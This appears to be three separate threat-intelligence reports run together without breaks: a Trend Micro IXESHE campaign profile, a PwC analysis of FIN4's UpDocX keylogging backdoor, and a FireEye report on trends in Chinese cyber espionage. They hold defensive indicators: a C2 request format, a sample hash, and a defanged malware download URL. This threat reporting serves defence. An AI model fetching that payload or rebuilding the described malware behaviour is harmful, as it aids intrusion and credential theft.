Enters networks via a specially crafted, targeted email with a malicious file attachment Uses document exploits (primarily PDF exploits) to drop malware onto target systems Uses malware detected as IXESHE by security companies Sends a GET request to the command-and-control (CC) server with the format: http://[CC Server]/[ACD] [EW]S[Some Numbers].jsp?
[Encrypted Base64 Blob] The campaign codes we have seen so far are detailed in the Trend Micro research paper, IXESHE: An APT Campaign.
The characteristics highlighted in this APT campaign quick profile reflect the results of our investigation as of May 2012.
iXESHE 2012 by Trend Micro, Incorporated.
All rights reserved.
Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated.
All other product or company names may be trademarks or registered trademarks of their owners.
TRENDMICRO Trend Micro Incorporated (TYO: 4704 TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its In- ternet content security and threat management solutions for businesses and consumers.
A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloud- based security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments.
Powered by the industry-leading Trend Micro Smart Pro- tection Network cloud computing security infrastructure, our products and services stop threats where they emergefrom the Internet.
They are supported by 1,000 threat intelligence experts around the globe.
TRENDMICROINC.
10101N.DeAnzaBlvd.
Cupertino,CA95014 U.S.tollfree: 1 800.228.5651 Phone: 1 408.257.1500 Fax: 1 408.257.2003 www.trendmicro.com Introduction Victims and Targets Context Attack Vectors Operations Technical Analysis Initial Delivery Method Malware Local System Effects CC Communications Related AES Campaign CC Infrastructure Real CC Location Attribution and Unique Fingerprints Unique Fingerprints and Modus Operandi Relationships Between Attack Components Timeline Conclusion Defending Against APTs Local and External Threat Intelligence Mitigation and Cleanup Strategy Educating Employees Against Social Engineering Data-Centric Protection Strategy Trend Micro Threat Protection Against IXESHE Campaign Components
UnFIN4ished Business By Michael Yip and Chris Doman Overview With access to business critical information, senior executives and consultants are often said to be valuable targets for threat actors tasked with obtaining sensitive business secrets.
FIN4 is a financially motivated threat actor which has consistently targeted this population.
On 23 June 2015, the press reported that the Securities and Exchange Commission are investigating FIN4s activities[1].
Since mid-2013, this group is reported[2] to have targeted more than 100 organisations which are primarily NASDAQ and NYSE listed companies or firms working with those listed clients to provide advisory or financial services, such as investment banking.
In particular, the FIN4 group has shown a particular interest in the healthcare and pharmaceutical industry and appears to have team members who are intimately familiar with that industry.
The group is not a new threat and has been previously reported on by other security companies: Towards the end of 2013 security company Esentire released a brief alert (ESOC-2013-11-08[3]) regarding a targeted attack againsthedgefunds In May 2014, Symantec released a brief alert (O97M.Ratil[4]) providing further details and mitigations for the threat and, In November 2014 FireEye released a detailed report on the threat actor, their tactics, techniques and their targets.
These reports document two methods of attack used by the FIN4 group: malicious Microsoft Office documents to obtain credentials, and phishing pages designed to mimic Outlook Web App authentication pages.
Our research into FIN4 has uncovered evidence which indicates that FIN4 also used bespoke malware to harvest credentials and steal documents from compromised victims.
The UpDocX Malware During our research into FIN4s malicious macros, we identified a sample, d102693540b53f9a564e3a550f938709, which contains similar code to the malicious macros cited in previously documented samples, such as the form display and the subroutine uploadPOST, an example of which is given below: However, in our sample the macro code differs, in that it uses URLDownloadToFile to download an executable named WINWORD32.exe - this can be seen below.
Using this inbuilt Windows functionality, the macro downloads and executes a file located at the following URL: http://www.advantarlabs[.
]com/plugins/extension-xtd/WINWORD32.exe Due to the command and control filename as shown in the htmlUpload function below, we refer to this malware as UpDocX: UpDocX was written in VB.NET and compiled without any attempts at obfuscating the source code.
There is also no attempt in obfuscating C2 network traffic.
It has limited functionality and appears to be a simple backdoor used solely for keylogging and uploading documents to designated C2 servers.
The attackers have, however, put some effort into avoiding detection and hindering investigations.
UpDocX has a list of extensive clean-up functions responsible for eliminating evidence of compromise, which indicates a degree of caution often not observed in targeted attacks.
We believe that one of the authors of UpDocX may be a French speaker, based on naming conventions used in the malware.
PwC threat intelligence customers can access a more detailed technical analysis of UpDocX, additional indicators associated with FIN4 and our most recent profile of the group, in report reference CTO-TAP-20150518-01A.
[1] http://www.reuters.com/article/2015/06/23/us-hackers-insidertrading-idUSKBN0P31M720150623 [2] https://www2.fireeye.com/rs/fireye/images/rpt-fin4.pdf [3] https://www.esentire.com/wp-content/uploads/2013/11/esentire_alert_20131108_DOCM.pdf [4] http://www.symantec.com/security_response/writeup.jsp?docid2014-052813-3721-99tabid2 Tweet Neutrino Exploit Kit delivers zero-detection Zeus Variant  Main
FIREEYE iSIGHT INTELLIGENCE CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE REDLINE DRAWN: SPECIAL REPORT / JUNE 2016 CONTENTS Introduction 3 Key Findings 4 Factors Influencing Chinese Cyber Operations 5 China in Transition: Xis Military and Domestic Reforms Centralize Cyber Operations 5 China Exposed: 2013 Reports and Disclosures Jolt Government Cyber Operations to the Forefront of the U.S. Security Dialogue 7 Indictments and Sanctions: U.S. Undertakes Measures to Confront Chinese Economic Espionage 8 Observed Changes in Chinese Cyber Operations 10 Network Compromises Continue Mid-2014 Decline in Overall Activity from Suspected China-Based Groups 10 Active Network Compromises Conducted by 72 Suspected China-Based Groups by Month 11 Suspected China-based Activity Against Corporate Victims, Late 2015 to Mid-2016 13 2015-2016 Regional Spear Phishing Activity Reflects Security Concerns 14 The Myth of the Monolith: Some Groups Revamp Operations While Others Carry On 15 Conclusion 15 On September 25, 2015, President Barack Obama and Chinese President Xi Jinping agreed that neither government would conduct or knowingly support cyber-enabled theft of intellectual property1 for an economic advantage.
Some observers hailed the agreement as a game changer for U.S. and Chinese relations, while skeptics saw this as little more than a diplomatic formality unlikely to stymie years of state-sponsored intellectual property theft.2 3 Since the agreement, there has been much discussion and speculation as to what impact, if any, it would have on Chinese cyber operations.
INTRODUCTION To investigate this question, FireEye iSIGHT Intelligence reviewed the activity of 72 groups that we suspect are operating in China or oth- erwise support Chinese state interests.
Going back nearly three and a half years to early 2013, our analysis paints a complex picture, leading us to assess that a range of political, economic, and other forces were contributing to a shift in Chinese cyber operations more than a year prior to the Xi-Obama agreement.
Between September 2015 and June 2016, we observed 13 active China-based groups conduct multiple instances of network compro- mise against corporations in the U.S., Europe, and Japan.
During this same timeframe, other China-based groups targeted organizations in Russia and the Asia Pacific region.
However, since mid-2014, we have observed an overall decrease in successful network compromises by China-based groups against organizations in the U.S. and 25 other countries.
These shifts have coincided with ongoing political and military reforms in China, widespread exposure of Chinese cyber activity, and unprecedented action by the U.S. Government.
1  https://www.whitehouse.gov/the-press-office/2015/09/25/fact-sheet-president-xi-jinpings-state-visit-united-states 2  http://www.cnn.com/2015/09/25/politics/us-china-cyber-theft-hack/ 3  https://freedomhouse.org/blog/obama-xi-agreement-will-not-resolve-china-cybersecurity-threat SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 3 SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 4 KEY FINDINGS 13 Between late-2015 and mid-2016, 13 suspected China-based groups have compromised corporate networks in the U.S., Europe, and Japan, and targeted government, military, and commercial entities in the countries surrounding China.
25 Since mid-2014, we have seen a notable decline in China-based groups overall intrusion activity against entities in the U.S. and 25 other countries.
We suspect that this shift in operations reflects the influence of ongoing military reforms, widespread exposure of Chinese cyber operations, and actions taken by the U.S. government.
Since taking power in late 2012, Chinese President Xi Jinping has implemented significant military reforms intended to centralize Chinas cyber elements and support a greater use of network operations.
Public reports in recent years have exposed Chinese cyber operations and heightened public awareness of Chinas engagement in economic espionage.
This likely provided the U.S. government with political support to publicly confront China over the issue.
In 2014, the U.S. government began to take unprecedented measures in response to claims of Beijings cyber-enabled economic espionage.
Although many in the U.S. initially doubted that these actions would have any effect, they may have prompted Beijing to reconsider the execution of its network operations.
We have not seen evidence of a coordinated shift in the behavior of recently active China-based groupstactical changes appear to be specific to each groups mission and resources, and in response to public exposure of its cyber operations.
SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 5 Under Xis leadership, the Chinese military began to implement many long-discussed strategies and concepts for conducting operations in cyberspace.
These reforms have sought to centralize and emphasize military and government elements engaged in cyber activity.
Combined with Xis anti-corruption campaign cracking down on the illegitimate use of state resources, these reforms have begun materializing in what we believe is a more refined approach to cyber operations.
FACTORS INFLUENCING CHINESE CYBER OPERATIONS CHINA IN TRANSITION: XI S MILITARY AND DOMESTIC REFORMS CENTRALIZE CYBER OPERATIONS CHINESE DOMESTIC REFORMS China has undergone significant changes under Xis leadership, including a massive centralization of presidential power, reforms restructuring the countrys military capabilities, and growing regional security concerns.4 Xis unrivaled authority has allowed him to advance a large-scale reorganization of the Peoples Liberation Army (PLA).
The reforms aim to improve Chinas ability to conduct joint operations and win informationized5 wars, deempha- sizing the army in favor of a stronger focus on cyber and maritime capabilities and space assets.
Since 2012, Xi has also actively cracked down on government and military elements using state resources for their own agendas.6 DECEMBER 2013 Publication of the Science of Military Strategy describing elite, specialized network warfare forces.7 JANUARY 22, 2013 Xi discusses plans to combat corruption, saying, We must uphold the fighting of tigers and flies at the same time, resolutely investigating law-breaking cases of leading officials and also earnestly resolving the unhealthy tendencies and corruption problems which happen all around people, Xi said in a speech carried by the state news agency Xinhua.8 FEBRUARY 27, 2014 Xi establishes and heads the Central Internet Security and Informatization Leading Group.9 JUNE 26, 2014 Xi establishes the PLA Cyberspace Strategic Intelligence Research Center.10 MAY 2015 Chinese Ministry of National Defense publishes Chinas Military Strategy, which discusses use of cyber: As cyberspace weighs more in military security, China will expedite the development of a cyber force, and enhance its capabilities of cyberspace situation awareness, cyber defense, support for the countrys endeavors in cyberspace and participation in international cyber cooperation, so as to stem major cyber crises, ensure national network and information security, and maintain national security and social stability.11 JULY 6, 2015 Draft cyber security law submitted for comments.12 DECEMBER 31, 2015 Xis PLA reorganization elevates cyber operations under the Strategic Support Force, placing cyber operations at the same level as other branches of the military.13 MARCH 26, 2016 Xi establishes the Cyber Security Association of China.14 APRIL 21, 2016 Xi establishes and leads the Joint Force Command to better promote integration of cyber capabilities into military operations.15 EXPECTED IMPACT ON CYBER OPERATIONS Greater coordination and fewer disparate government and military elements conducting cyber operations Deliberate integration of cyber operations with military activity More disciplined use of state resources to eliminate criminal and unauthorized use of state resources 4  https://www.foreignaffairs.com/articles/china/2014-10-20/chinas-imperial-president 5 http://eng.mod.gov.cn/Press/2015-05/26/content_4586805.htm 6  http://www.globaltimes.cn/content/902639.shtml 7  http://www.cnas.org/sites/default/files/publications-pdf/CNAS_WarringState_Chang_report_010615.pdf 8  https://www.theguardian.com/world/2013/jan/22/xi-jinping-tigers-flies-corruption 9  https://www.washingtonpost.com/world/chinese-president-takes-charge-of-new-cyber-effort/2014/02/27/a4bffaac-9fc9-11e3-b8d8-94577ff66b28_story.html 10  http://freebeacon.com/national-security/chinese-military-creates-high-level-cyber-intelligence-center/ 11  https://news.usni.org/2015/05/26/document-chinas-military-strategy 12  http://www.jamestown.org/programs/chinabrief/single/?tx_ttnews5Btt_news5D44924cHashdb05078399a49339345c2957196d4073 13  http://blogs.cfr.org/cyber/2016/01/20/chinas-strategic-support-force-the-new-home-of-the-plas-cyber-operations/ 14  http://timesofindia.indiatimes.com/tech/tech-news/China-launches-first-cybersecurity-organisation-Report/articleshow/51561355.cms 15  http://www.nytimes.com/2016/04/22/world/asia/china-xi-jinping-military-commander.html SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 6 CHINESE SECURITY CONCERNS China is also facing pressing security concerns within the region, particularly from Taiwan, Japan, and claimants in the South China Sea dispute.
Taiwans recent election of the pro-independence Democratic Peoples Party has al- most certainly prompted concern in Beijing.
Despite the Taiwanese presidents pledge to maintain the status quo with China, Beijing almost certainly views the partys pro-independence mindset as a threat to its territorial sovereignty and future security.
In addition, Japans increased willingness to defend its regional interests, particularly through expanding the role of its Self-Defense Forces, may allow Japan to balance China more effectively, curbing Beijings influence and regional ambitions.
Lastly, territorial disputes in the South China Sea have intensified over the past few years, due in part to U.S. displays of military power and Chinas own island-building activities.
NOVEMBER 23, 2013 China establishes an air defense zone near disputed Senkaku/Diaoyu islands in East China Sea.17 DECEMBER 17, 2013 Japan approves a new security strategy and increases defense spending.
China says that it is closely watching Japans security strategy and policy direction.
Japans unreasonable criticism of Chinas normal maritime activities and its hyping up of the China threat has hidden political motives.18 Foreign Ministry spokesman Hong Lei MARCH 31, 2014 The Philippines asks the UN Permanent Court of Arbitration to determine territorial sovereignty in the South China Sea19 It is about defending what is legitimately oursit is about guaranteeing freedom of navigation for all nations [and will help] preserve regional peace, security, and stability.20 Philippine Foreign Secretary Albert del Rosario.
The Philippines should stop going any further down the wrong track so as to avoid further damage to bilateral relations.21 Foreign Ministry spokesperson Hong Lei AUGUST 5, 2014 During the ASEAN regional forum, the U.S. and the Philippines suggest a freeze on island-building in the South China Sea, which China rejects.22 SEPTEMBER 10, 2014 When describing its island building in the South China Sea Chinas activities on relevant islands and reefs of the Nansha Islands fall entirely within Chinas sovereignty and are totally justifiable.
[
Construction is] mainly for the purpose of improving the working and living conditions of people stationed on these islands.23 Foreign Ministry spokesperson Hua Chunying JANUARY 16, 2016 Taiwan elections bring the pro-independence Democratic Peoples Party to Power We hope Tsai can lead the DPP out of the hallucinations of Taiwan independence, and contribute to the peaceful and common development between Taiwan and the mainland.24 Editorial published in the Global Times, state-run paper.
There is only one China in the World, the mainland and Taiwan both belong to one China and Chinas sovereignty and territorial integrity will not brook being broken up.
The results of the Taiwan region election does not change this basic fact and the consensus of the international community.25 Chinese Foreign Ministry Statement EXPECTED IMPACT ON CYBER OPERATIONS Continued espionage operations in support of Chinas security interests Consistent targeting of regional government and military elements Renewed need for a military focus, likely supported by cyber operations, to boost regional security interests 16  http://bigstory.ap.org/article/7255da3434534074b870e8264fb7ac9e/pro-china-party-likely- lose-taiwans-election 17  http://www.bbc.com/news/world-asia-25062525 18  http://www.bbc.com/news/world-asia-25411653 19  http://www.bbc.com/news/world-asia-26781682 20  http://www.bbc.com/news/world-asia-26781682 21  http://www.bbc.com/news/world-asia-26781682 22  http://thediplomat.com/2014/08/china-rejects-proposed-freeze-on-provocative-south-china- sea-moves/ 23  http://thediplomat.com/2014/09/why-is-china-building-islands-in-the-south-china-sea/ 24  http://www.reuters.com/article/taiwan-election-idUSKCN0UV02I 25  http://www.reuters.com/article/taiwan-election-idUSKCN0UV02I SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 7 The Pentagons annual report to Congress accuses the Chinese government and military of conducting cyber operations against U.S. government and commercial networks May 6, 2013 U.S.China Presidential Summit June 8, 2013 The report is completely consistent with the type of activity the Intelligence Committee has been seeing for some time REP.
MIKE ROGERS Chairman, House Permanent Select Committee on Intelligence February 18, 2013 The reports findings are essentially correct.
SEN.
DIANE FEINSTEIN Chairwoman, Senate Select Committee on Intelligence March 1, 2013 Making unfounded accusations based on preliminary results is both irresponsible and unprofessional HONG LEI Chinese Foreign Ministry spokesperson February 18, 2013 We are firmly opposed to any groundless accusations and speculations HUA CHUNYING Chinese Foreign Ministry spokesperson May 7, 2013 Snowdens exposure has upgraded our understanding of cyberspace, especially cyber attacks from the US, which is probably a much sharper weapon than its traditional military force.
This weapon has demonstrated the US hypocrisy and arrogance An editorial published in the Global Times, Chinas state-run newspaper May 19, 2014 APT1 Report Released February 18, 2013 Edward Snowden leaks documents containing information about U.S. intelligence operations May 20, 2013 CHINA EXPOSED: 2013 REPORTS AND DISCLOSURES JOLT GOVERNMENT CYBER OPERATIONS TO THE FOREFRONT OF THE U.S .
SECURITY DIALOGUE As Beijing embarked upon sweeping changes impacting its use of network operations, U.S. Government and defense officials wrestled with how to effectively confront China regarding its cyber espionage activity.26 Although officials had discussed Chinas use of cyber espionage for years, the issue was not widely recognized in the public sphere.
However, early 2013 saw multiple disclosures of breaches targeting media outlets, the release of our APT1 report, and additional reporting that attributed widespread corporate intellectual property theft to military units within Chinas Peoples Liberation Army (PLA).
This exposure catapulted the issue of Chinese cyber espionage into the public consciousness, and likely provided the U.S. Government with increased momentum with which to confront Beijing - momentum that would quickly dissipate with Edward Snowdens disclosures of U.S. cyber activities.
In January 2013, the New York Times disclosed details of a network compromise targeting its reporters that was allegedly the work of the Chinese military.27 Several weeks later, we released our APT1 report, attributing years of corporate intellectual property theft to Unit 61398 of the PLA.
APT1 and the many other exposure reports that followed describe in detail the tools, tactics, and targets of Chinese cyber operations, laying bare evidence to support long-held suspicions of Chinas large-scale cyber espionage activity.
While the reports prompted outraged denials from the Chinese government, U.S. Government officials described the findings as essentially correct and completely consistent with the type of activity [the U.S. government has] been seeing for some time.28 29 The threat posed by Chinas cyber operations emerged as a prominent theme in countless speeches, statements, and reports from U.S. leaders and federal agencies.
In May 2013, the Pentagons annual report to Congress directly accused China of using its military to conduct cyber operations against U.S. firms, and President Obama prepared to raise the issue at the U.S.China Presidential Summit the following month.30 However, Edward Snowdens coinciding disclosures of U.S. cyber activities diverted public attention to U.S. clandestine operations, complicating any leverage that the U.S. might have had to rebuke China over its economic espionage activities.31 26  http://www.reuters.com/article/us-usa-china-cyber-idUSTRE7934L220111004 27  http://www.nytimes.com/2013/01/31/technology/chinese-hackers-infiltrate-new-york-times-computers.html?_r0 28  https://www.technologyreview.com/s/511981/unmasked-but-unfazed-chinese-hacking-group-is-still-active/ 29  http://www.nytimes.com/2013/02/19/technology/chinas-army-is-seen-as-tied-to-hacking-against-us.html 30  http://www.bbc.com/news/world-asia-china-22798572 31  http://www.bbc.com/news/world-asia-china-22798572 SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 8 INDICTMENTS AND SANCTIONS: U.S .
UNDERTAKES MEASURES TO CONFRONT CHINESE ECONOMIC ESPIONAGE In 2014, the U.S. Government began taking punitive measures against China, from indicting members of the PLA to raising the possibility of sanctions.
These unprecedented measures, though met with skepticism in the U.S., have probably been taken much more seriously in Beijing.
In May 2014, the U.S. Department of Justice indicted five PLA officers, marking the first time that the U.S. Government has charged foreign government personnel with crimes related to commercial cyber espionage.32 33 Although China warned that the move jeopardizes China- U.S. cooperation, the Department of Justice indicted another Chinese national, Su Bin, the following August for allegedly orchestrating a cyber-enabled economic espionage operation targeting U.S. defense companies.34 35 In 2015, President Obama authorized the sanctioning of individuals or entities involved in cyber activities that pose a significant threat to the national security, foreign policy, or economic health or financial stability of the United States.36 Later that year, news reports emerged claiming that the Obama administration had begun preparing a set of unprecedented economic sanctions against Chinese individuals and companies.37 32  http://www.wsj.com/articles/SB10001424052702304422704579571604060696532 33  http://www.nytimes.com/2014/05/20/us/us-to-charge-chinese-workers-with-cyberspying.html 34  http://www.nytimes.com/2014/05/20/us/us-to-charge-chinese-workers-with-cyberspying.html 35  https://www.fbi.gov/losangeles/press-releases/2014/los-angeles-grand-jury-indicts-chinese-national-in-computer-hacking-scheme-allegedly-involving-theft-of-trade-secrets 36  https://www.whitehouse.gov/the-press-office/2015/04/01/executive-order-blocking-property-certain-persons-engaging-significant-m 37  https://www.washingtonpost.com/world/national-security/administration-developing-sanctions-against-china-over-cyberespionage/2015/08/30/9b2910aa-480b-11e5-8ab4-c73967a143d3_story.html SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 9 U.S. Department of Justice Indicts Five PLA Officers for Their Alleged Roles in Supporting Chinas Cyber Economic Espionage May 19, 2014 U.S. Department of Justice Charges Chinese Businessman Su Bin for his Alleged Role in Stealing Proprietary Technology Related to Boeings C-17, and Lockheeds F-22 and F-35 August 18, 2014 Executive Order Allows for the Freezing of Property of Individuals Engaged in Significant Malicious Cyber- Enabled Activity Posing Threats to the National Security, Foreign Policy, and Economy of the U.S. April 1, 2015 Widespread Reports of U.S. Government Considering Sanctions Against China Due to Cyber Economic Espionage September 17, 2015 This is a case alleging economic espionage by members of the Chinese military and represents the first ever charges against a state actor for this type of hacking.
The range of trade secrets and other sensitive business information stolen in this case is significant and demands an aggressive response.
This Administration will not tolerate actions by any nation that seeks to illegally sabotage American companies and undermine the integrity of fair competition in the operation of the free market.
ERIC HOLDER U.S. Attorney General announcing the indictment of five PLA officers This plea sends a strong message that stealing from the United States and our companies has a significant cost we can and will find these criminals and bring them to justice.
JOHN P. CARLIN Assistant U.S. Attorney General for National Security remarking on Su Bins guilty plea, March 23, 2016 Starting today, were giving notice to those who pose significant threats to our security or economy by damaging our critical infrastructure, disrupting or hijacking our computer networks, or stealing the trade secrets of American companies or the personal information of American citizens for profit.
PRESIDENT BARACK OBAMA announcing the executive order We are preparing a number of measures that will indicate to the Chinese that this is not just a matter of us being mildly upset, but is something that will put significant strains on the bilateral relationship if not resolved PRESIDENT BARACK OBAMA while speaking at a quarterly roundtable with U.S. business leaders a week prior to Xis visit to the U.S. U.S. GOVERNMENT ACTIONS IN RESPONSE TO CHINAS CONTINUED ECONOMIC ESPIONAGE SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 10 OBSERVED CHANGES IN CHINESE CYBER OPERATIONS NETWORK COMPROMISES CONTINUE MID-2014 DECLINE IN OVERALL ACTIVITY FROM SUSPECTED CHINA-BASED GROUPS We examined the incidence of network compromises by suspected China-based actors dating back nearly three and a half years, to early 2013.
Our data is based on our visibility, which includes a combination of sources (Mandiant Services engagements, FireEye as a Service, and FireEyes Dynamic Threat Intelligence data) that provide us with both a breadth and depth of coverage.
While our visibility may vary from region to region depending on our customer base, we believe it provides a reasonable representation of Chinese cyber activity.
As shown in Active Network Compromises Conducted by 72 Suspected China-Based Groups by Month (in the following graph) a decline in activity began in mid-2014.
During that time period we identified 262 network compromises (where a network compromise is defined as successful remote entry into a victims network) conducted by 72 suspected China-based groups.
Our data analysis reveals an overall decline in China-based intrusion activity against private and public sector organizations since mid-2014.
SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 11 0 2/ 13 0 3/ 13 0 4/ 13 0 5/ 13 0 6 /1 3 0 7/ 13 0 8 /1 3 0 9 /1 3 10 /1 3 11 /1 3 12 /1 3 0 1/ 14 0 2/ 14 0 3/ 14 0 4/ 14 0 5/ 14 0 6 /1 4 0 7/ 14 0 8 /1 4 0 9 /1 4 10 /1 4 11 /1 4 12 /1 4 0 1/ 15 0 2/ 15 0 3/ 15 0 4/ 15 0 5/ 15 0 6 /1 5 0 7/ 15 0 8 /1 5 0 9 /1 5 10 /1 5 11 /1 5 12 /1 5 0 1/ 16 0 2/ 16 0 3/ 16 0 4/ 16 0 5/ 16 80 60 40 20 0 ACTIVE NETWORK COMPROMISES CONDUCTED BY 72 SUSPECTED CHINA-BASED GROUPS BY MONTH A ct iv e N et w o rk C o m p ro m is es b y S u sp ec te d C h in a- B as ed G ro u p s SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 12 182 incidents occurred on U.S entities networks 80 incidents affected entities in the following countries 262 total compromises Of the 262 compromises, 182 affected U.S. entities networks while 80 affected entities outside of the U.S.
This includes one instance where a suspected China- based group stole information from a privately held Chinese conglomerate.
These compromises affected a total of 25 other countries in Europe, Asia, South America, the Middle East, and Africa.
Following are the specific countries, listed by frequency of incident: Great Britain Japan Canada Italy Switzerland Germany Netherlands India Australia Denmark Philippines Sweden Taiwan Brazil China Colombia Egypt France Hong Kong Israel Korea Norway Saudi Arabia Singapore Tunisia THE BASIS FOR CHINA-BASED Attributing cyber activity to a geographic location is a complex process.
We are never fortunate enough to be presented with a smoking gun instead we rely on the careful accumulation of multiple pieces of evidence in sufficient quantity over time.
Inevitably, as we discover more about specific sets of activity, we frequently find links that show us commonalities between these sets, and allow us to assess that the same actors are behind two formerly distinct groups.
Some of the factors we consider when assessing a groups location and potential sponsorship include, but are not limited to, the following: Operations: The scope or scale of the groups operations and their level of sophistication (e.g., adaptability, stealth, or access to advanced tools or exploits).
What type of group would have the resources (personnel, funding, length of operations) to conduct this activity?
Tactics, Techniques, and Procedures (TTPs): Does the group use tools and methodologies that are generic, pub- licly available, or widely known, or ones that are unique, novel, or not typically seen?
Such TTPs may make a group more or less distinctive, and potentially act as a finger- print allowing us to link together disparate incidents.
Operational Details: Groups operate with varying levels of stealth and anonymity.
At one end are actors who make no attempt to hide their tools or operations, and instead rely on victims inability to respond effectively for their success.
At the other end are actors who take great pains to appear innocuous and limit or delete evidence of their presence.
However, even the most careful operators make mistakes that can expose key details.
Clues such as language settings within malware, observed hours of operation, build paths within binaries, or the use of infra- structure or services in particular geographic locations may point to a particular locale.
While such indicators could be used deliberately for false flag purposes, hu- man error often introduces anomalies that would expose such an operation.
When combined with other types of evidence, these indicators can help support attribution.
Motivation: We identify likely motivations based on the individuals, organizations, or data the group targets, and the themes present in any communications (spear-phish- ing messages, attachment contents, web sites leveraged as part of an attack) with the targets.
Although we have continued to see suspected China- based groups compromise corporations networks in the U.S., Europe, and Japan and target entities in the countries surrounding China through late 2015 and into 2016, our data shows an overall decline in compromises that began in earnest in mid-2014 more than a year before the Xi-Obama agreement.
While there was a subsequent drop-off in activity leading up to President Xis September 2015 visit to the U.S., possibly orchestrated to avoid any negative publicity during the meeting, it occurred during what was already an ongoing decline in network intrusions.
SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 13 SUSPECTED CHINA-BASED ACTIVITY AGAINST CORPORATE VICTIMS, LATE 2015 TO MID-2016: Despite the decline, China-based threat groups continue to operate.
Through late 2015 and 2016, we saw suspected China-based groups compromise corporations networks in the U.S., Europe, and Japan, while also targeting government, military, and commercial entities in the countries surrounding China.
April  May 2016 Three groups compromised the networks of four firms headquartered in the U.S., Europe, and Asia that are involved in the manufacturing of semiconductors and chemical components used in the production of semiconductors.
We did not observe data theft in any of these instances.
However, in 2012, we saw one of these same groups compromise a semiconductor firm and target the workstation of a key individual active in research and development.
Other China-based groups have also compromised and stolen data from semiconductor firms in the past, including as recently as July 2015.
April  May 2016 After compromising a network, the group moved laterally, harvested credentials, and deployed backdoors on systems at a U.S. high-tech corporation.
March  May 2016 In what appeared to be an attempt to obtain information related to U.S. military projects, a group deployed backdoors to a victims web servers and harvested credentials at a U.S. government services company.
August 2015  March 2016 After compromising the network of a U.S. high-tech corporation, the group began collecting data about navigational software in RAR files, likely in preparation for transferring the data from the environment.
March 2016 A group compromised a U.S. healthcare organization and deployed a backdoor providing continued access to the network.
December 2012-March 2016 In December 2012 a group breached the network of a U.S. software company.
In 2014, they returned to the network, packaged data on navigational projects in likely preparation for removing it from the network.
The same group returned again in early 2016 and viewed files related to the same project, but they did not transfer any data out of the network.
October 2015  February 2016 In early 2016, a group prepared to transfer files out of the network of a European consulting company.
The files were related to technology used in U.S. military projects.
January 2016 At a European logistics company a group collected user credentials during an intrusion into the network.
October  November 2015 After a group breached the network of a major media company, they stole user credentials, probably with the intent to expand their access within the network.
September  October 2015 At a U.S. aerospace company, a group deployed a backdoor, conducted network reconnaissance, and harvested user credentials, likely in preparation for continued activity.
We did not observe the group transferring data from the network.
SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 14 2015-2016 REGIONAL SPEAR-PHISHING ACTIVITY REFLECTS SECURITY CONCERNS TAIWAN December 2015  February 2016 Spear phishing against Taiwanese news organizations, government agencies, and commercial entities.
VIETNAM December 2015 Spear phishing targeting Vietnamese government and commercial organizations.
JAPAN March 2016 Spear phishing against Japanese government and private sector.
SOUTH KOREA December 2015 Spear phishing against Korean IT service provider.
MONGOLIA Late 2015 Spear phishing against Mongolian government targets.
RUSSIA Mid to Late 2015 Spear phishing against possible Russian defense organizations and a Russian engineering corporation that serves the energy sector.
HONG KONG February 2016 Spear phishing against Chinese dissidents in Hong Kong.
In addition to the confirmed network compromises described above, our research identified suspected China-based groups spear phishing governments and commercial organizations headquartered in countries surrounding China.
Much of this activity appears to be traditional espionage, primarily motivated by political and security concerns amid ongoing diplomatic tensions in the region.
We have strong indications that China-based groups have been conducting espionage activity in the region for more than a decade as shown, for example, by our profile of a group likely backed by the Chinese government whom we refer to as APT30.
The Chinese Governments use of cyber operations to conduct espionage in support of state security objectives parallels similar efforts by other nation states to pursue state secrets through network means.
The targeting and data taken during traditional espionage activity typically allows us to distinguish it from corporate intellectual property theft.
However, we frequently see compromises where a group targets or steals data that could equally serve military, security, and economic ends such as navigational technology.
This gray area between espionage that would support state economic ends and that, which would support state security, makes it difficult to definitively characterize espionage activity without visibility into the datas end use.
On the following map we identify several instances of 2015 and 2016 activity that indicate interest by China-based groups in regional political and security targets.
SPECIAL REPORT / RED LINE DRAWN: CHINA RECALCULATES ITS USE OF CYBER ESPIONAGE 15 THE MYTH OF THE MONOLITH: SOME GROUPS REVAMP OPERATIONS WHILE OTHERS CARRY ON CONCLUSION In 2013, when we released the APT1 report exposing a PLA cyber espionage operation, it seemed like a quixotic effort to impede a persistent, well-resourced military operation targeting global corporations.
Three years later, we see a threat that is less voluminous but more focused, calculated, and still successful in compromising corporate networks.
Rather than viewing the Xi-Obama agreement as a watershed moment, we conclude that the agreement was one point amongst dramatic changes that had been taking place for years.
We attribute the changes we have observed among China-based groups to factors including President Xis military and political initiatives, the widespread exposure of Chinese cyber operations, and mounting pressure from the U.S. Government.
Yet China is not the only actor in transition: weve observed multiple state-backed and other well-resourced groups develop and hone their operations against corporate and government networks.
The landscape we confront today is far more complex and diverse, less dominated by Chinese activity, and increasingly populated by a range of other criminal and state actors.
We have strong indications that the 72 groups we have observed are based in China or otherwise support Chinese interests, although we question whether there is much consistency in the level of state direction or support that each of these groups may receive from the Chinese Gov- ernment.
The Chinese landscape, frequently characterized as monolithic and rigidly state-directed, is composed of a wide range of groups, including government and military actors, contractors, patriotic hackers, and even criminal el- ements.
